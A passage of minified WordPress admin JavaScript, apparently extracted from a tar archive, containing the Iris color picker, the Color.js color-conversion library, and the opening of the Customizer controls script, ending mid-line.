this._stripOnlyDimensions();var c,d,e,f,g=this,h=g.options,i=g.controls,j=i.square,k=g.picker.find(".iris-strip"),l="77.5%",m="12%",n=20,o=h.border?h.width-n:h.width,p=Array.isArray(h.palettes)?h.palettes.length:g._palettes.length;if(b&&(j.css("width",""),k.css("width",""),g.picker.css({width:"",height:""})),l=o*(parseFloat(l)/100),m=o*(parseFloat(m)/100),c=h.border?l+n:l,j.width(l).height(l),k.height(l).width(m),g.picker.css({width:h.width,height:c}),!h.palettes)return g.picker.css("paddingBottom","");d=2*l/100,f=l-(p-1)*d,e=f/p,g.picker.find(".iris-palette").each(function(b){var c=0===b?0:d;a(this).css({width:e,height:e,marginLeft:c})}),g.picker.css("paddingBottom",e+d),k.height(e+d+l)},_addInputListeners:function(a){var b=this,c=function(c){var d=new Color(a.val()),e=a.val().replace(/^#/,"");a.removeClass("iris-error"),d.error?""!==e&&a.addClass("iris-error"):d.toString()!==b._color.toString()&&("keyup"===c.type&&e.match(/^[0-9a-fA-F]{3}$/)||b._setOption("color",d.toString()))};a.on("change",c).on("keyup",b._debounce(c,100)),b.options.hide&&a.one("focus",function(){b.show()})},_initControls:function(){var b=this,c=b.controls,d=c.square,e=b.options.controls,f=b._scale[e.strip],g=b.horizontalSlider?"horizontal":"vertical";c.stripSlider.slider({orientation:g,max:f,slide:function(a,c){b.active="strip","h"===e.strip&&"vertical"===g&&(c.value=f-c.value),b._color[e.strip](c.value),b._change.apply(b,arguments)}}),c.squareDrag.draggable({containment:c.square.find(".iris-square-inner"),zIndex:1e3,cursor:"move",drag:function(a,c){b._squareDrag(a,c)},start:function(){d.addClass("iris-dragging"),a(this).addClass("ui-state-focus")},stop:function(){d.removeClass("iris-dragging"),a(this).removeClass("ui-state-focus")}}).on("mousedown mouseup",function(c){var d="ui-state-focus";c.preventDefault(),"mousedown"===c.type?(b.picker.find("."+d).removeClass(d).trigger("blur"),a(this).addClass(d).trigger("focus")):a(this).removeClass(d)}).on("keydown",function(a){var d=c.square,e=c.squareDrag,f=e.position(),g=b.options.width/100;switch(a.altKey&&(g*=10),a.keyCode){case 37:f.left-=g;break;case 38:f.top-=g;break;case 39:f.left+=g;break;case 40:f.top+=g;break;default:return!0}f.left=Math.max(0,Math.min(f.left,d.width())),f.top=Math.max(0,Math.min(f.top,d.height())),e.css(f),b._squareDrag(a,{position:f}),a.preventDefault()}),d.on("mousedown",function(c){var d,e;1===c.which&&a(c.target).is("div")&&(d=b.controls.square.offset(),e={top:c.pageY-d.top,left:c.pageX-d.left},c.preventDefault(),b._squareDrag(c,{position:e}),c.target=b.controls.squareDrag.get(0),b.controls.squareDrag.css(e).trigger(c))}),b.options.palettes&&b._paletteListeners()},_paletteListeners:function(){var b=this;b.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){b._color.fromCSS(a(this).data("color")),b.active="external",b._change()}).on("keydown.palette",".iris-palette",function(b){if(13!==b.keyCode&&32!==b.keyCode)return!0;b.stopPropagation(),a(this).trigger("click")})},_squareDrag:function(a,b){var c=this,d=c.options.controls,e=c._squareDimensions(),f=Math.round((e.h-b.position.top)/e.h*c._scale[d.vert]),g=c._scale[d.horiz]-Math.round((e.w-b.position.left)/e.w*c._scale[d.horiz]);c._color[d.horiz](g)[d.vert](f),c.active="square",c._change.apply(c,arguments)},_setOption:function(b,c){var d,e,f=this,g=f.options[b],h=!1;switch(f.options[b]=c,b){case"color":f.onlySlider?(c=parseInt(c,10),c=isNaN(c)||c<0||c>359?g:"hsl("+c+",100,50)",f.options.color=f.options[b]=c,f._color=new Color(c).setHSpace(f.options.mode),f.active="external",f._change()):(c=""+c,c.replace(/^#/,""),d=new Color(c).setHSpace(f.options.mode),d.error?f.options[b]=g:(f._color=d,f.options.color=f.options[b]=f._color.toString(),f.active="external",f._change()));break;case"palettes":h=!0,c?f._addPalettes():f.picker.find(".iris-palette-container").remove(),g||f._paletteListeners();break;case"width":h=!0;break;case"border":h=!0,e=c?"addClass":"removeClass",f.picker[e]("iris-border");break;case"mode":case"controls":if(g===c)return;return e=f.element,g=f.options,g.hide=!f.picker.is(":visible"),f.destroy(),f.picker.remove(),a(f.element).iris(g)}h&&f._dimensions(!0)},_squareDimensions:function(a){var c,d=this.controls.square;return a!==b&&d.data("dimensions")?d.data("dimensions"):(this.controls.squareDrag,c={w:d.width(),h:d.height()},d.data("dimensions",c),c)},_isNonHueControl:function(a,b){return"square"===a&&"h"===this.options.controls.strip||"external"!==b&&("h"!==b||"strip"!==a)},_change:function(){var b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"!==f.strip||b.horizontalSlider?d[f.strip]:b._scale[f.strip]-d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.onlySlider?b.element.val()!==b.hue&&b.element.val(b.hue):b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return!0===a?this._color.clone():a===b?this._color.toString():void this.option("color",a)}},a.widget("a8c.iris",n),a('<style id="iris-css">'+m+"</style>").appendTo("head")}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=j<.5?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return c<0&&(c+=1),c>1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return b<1?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return b<1?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb(),b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c]/255;b[c]=d<=.03928?d/12.92:Math.pow((d+.055)/1.055,2.4)}return.2126*b.r+.7152*b.g+.0722*b.b},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.getDistanceLuminosityFrom(new c("#000")),b=this.getDistanceLuminosityFrom(new c("#fff"));return new c(a>=b?"#000":"#fff")},getReadableContrastingColor:function(a,d){if(!(a instanceof c))return this;var e,f,g=d===b?5:d,h=a.getDistanceLuminosityFrom(this);if(h>=g)return this;if(e=a.getMaxContrastColor(),e.getDistanceLuminosityFrom(a)<=g)return e;for(f=0===e.toInt()?-1:1;h<g&&(this.l(f,!0),h=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(!0===e&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace;return this[a+d.charAt(0).toUpperCase()+d.substr(1)](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this); js/customize-controls.min.js 0000644 00000333302 15233246127 0012174 0 ustar 00 /*! This file is auto-generated */ !function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia("(prefers-reduced-motion: reduce)"),r=o.matches;o.addEventListener("change",function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=" notification-overlay",n.loading&&(n.containerClasses+=" notification-loading")},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on("keydown",_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&&(e.stopPropagation(),t.dismissible)&&t.parent&&t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,"constrainFocus"),t._addedIncrement=0,t._addedOrder={},t.bind("add",function(e){t.trigger("change",e)}),t.bind("removed",function(e){t.trigger("change",e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t="string"==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&&(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&&i.container.length&&(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&&_.isEqual(e,i.previousNotifications)||((n=i.container.children("ul").first()).length||(n=J("<ul></ul>"),i.container.append(n)),n.find("> [data-code]").remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&&_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,"assertive"),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&&o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&&(J(document.body).toggleClass("customize-loading",t),i.container.toggleClass("has-overlay-notifications",t),t?(i.previousActiveElement=document.activeElement,J(document).on("keydown",i.constrainFocus)):J(document).off("keydown",i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop("tabIndex",-1),((a=i.focusContainer.find(":focusable")).length?a.first():i.focusContainer).focus()):i.previousActiveElement&&(J(i.previousActiveElement).trigger("focus"),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger("rendered")))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&&(0===(t=n.focusContainer.find(":focusable")).length&&(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&&!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&&e.shiftKey&&(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:"refresh",dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;"postMessage"===(t="postMessage"!==t||Y.state("previewerAlive").get()?t:"refresh")?e.previewer.send("setting",[e.id,e()]):"refresh"===t&&e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&&i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind("change",function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind("ready",function(){Y.bind("add",function(e){e._dirty&&(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&&(t=Y._latestSettingRevisions[e.id],Y.state("changesetStatus").get()&&n&&n.unsaved&&(_.isUndefined(t)||t<=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state("processing").get())a.reject("already_processing");else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&&_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&&null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger("changeset-save",i,e),!e.force&&_.isEmpty(i)&&null===e.title&&null===e.date)a.resolve({});else{if(e.status)return a.reject({code:"illegal_status_in_changeset_update"}).promise();if(e.date&&e.autosave)return a.reject({code:"illegal_autosave_with_date_gmt"}).promise();Y.state("processing").set(Y.state("processing").get()+1),a.always(function(){Y.state("processing").set(Y.state("processing").get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&&(t.customize_changeset_title=e.title),null!==e.date&&(t.customize_changeset_date=e.date),!1!==e.autosave&&(t.customize_changeset_autosave="true"),Y.trigger("save-request-params",t),(e=wp.ajax.post("customize_save",t)).done(function(e){var n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),a.resolve(e),Y.trigger("changeset-saved",e),e.setting_validities&&_.each(e.setting_validities,function(e,t){!0===e&&_.isObject(i[t])&&!_.isUndefined(i[t].value)&&(n[t]=i[t].value)}),Y.previewer.send("changeset-saved",_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger("changeset-error",e)}),e.always(function(e){e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&&e!==t&&n.parent.trigger("change",n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&&1<(n=i.sections()).length&&n.forEach(function(e){e.expanded()&&e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&&i.expanded&&i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(".control-focus:first")).length?e.find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state("paneVisible").set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&&"number"==typeof e.params.instanceNumber&&"number"==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return"keydown"===e.type&&13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&&-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i="button-see-me",a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on("focusin",o),setTimeout(function(){n.focusTarget.off("focusin",o),a||(e.addClass(i),e.one("animationend",function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,"/")),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():"string"==typeof e?new Date(e.replace(/-/g,"/")).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement("div"),e={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaultExpandedArguments:{duration:"fast",completeCallback:J.noop},containerType:"container",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||"customize-"+n.containerType+"-"+n.params.type,n.container=J(n.params.content),0===n.container.length&&(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&&n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,["priority","active"]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(".customize-control-notifications-container:first")},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&&t.notifications.render()}),e(),t.notifications.bind("change",_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&&i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error("Container.isContextuallyActive() must be overridden in a subclass.")},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&&t.completeCallback():(n="resolved"===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&&(Y.panel.each(function(e){e!==i&&e.expanded()&&(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&&t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&&this.active.get()||!e&&!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error("Must override with subclass.")},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&&!i.active()||(Y.state("paneVisible").set(!0),t.completeCallback=function(){n&&n.apply(i,arguments),e?i.container.trigger("expanded"):i.container.trigger("collapsed")},e&&i.expanded.get()||!e&&!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&&t()}):(o=(a=this).contentContainer,i=o.closest(".wp-full-overlay").add(o),a.panel&&""!==a.panel()&&!Y.panel(a.panel()).contentContainer.hasClass("skip-transition")||(i=i.add("#customize-info, .customize-pane-parent")),n=function(e){2===e.eventPhase&&J(e.target).is(o)&&(o.off(s,n),i.removeClass("busy"),t)&&t()},o.on(s,n),i.addClass("busy"),_.defer(function(){var e=o.closest(".wp-full-overlay-sidebar-content"),t=e.scrollTop(),n=o.data("previous-scrollTop")||0,i=a.expanded();i&&0<t?(o.css("top",t+"px"),o.data("previous-scrollTop",t)):!i&&0<t+n&&(o.css("top",n-t+"px"),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector).length?wp.template(e.templateSelector):wp.template("customize-"+e.containerType+"-default");return t&&e.container?t(_.extend({id:e.id},e.params)).toString().trim():"<li></li>"},getContent:function(){var e=this.container,t=e.find(".accordion-section-content, .control-panel-content").first(),n="sub-"+e.attr("id"),i=n,a=e.attr("aria-owns");return e.attr("aria-owns",i=a?i+" "+a:i),t.detach().attr({id:n,class:"customize-pane-child "+t.attr("class")+" "+e.attr("class")})}}),Y.Section=a.extend({containerType:"section",containerParent:"#customize-theme-controls",containerPaneParent:".customize-pane-parent",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null,panel:null,customizeAction:""},initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass("control-subsection",!!e)}),n.panel.set(n.params.panel||""),Y.utils.bubbleChildValueChanges(n,["panel"]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass("cannot-expand")||(n.container.find(".accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(".customize-section-title .customize-help-toggle").on("click",function(){(e=n.container.find(".section-meta")).hasClass("cannot-expand")||((t=e.find(".customize-section-description:first")).toggleClass("open"),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&&(t+=1)}),0!==t},controls:function(){return this._children("section","control")},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=i.headContainer.closest(".wp-full-overlay"),r=o.find(".customize-section-back"),c=i.headContainer.find(".accordion-section-title button, 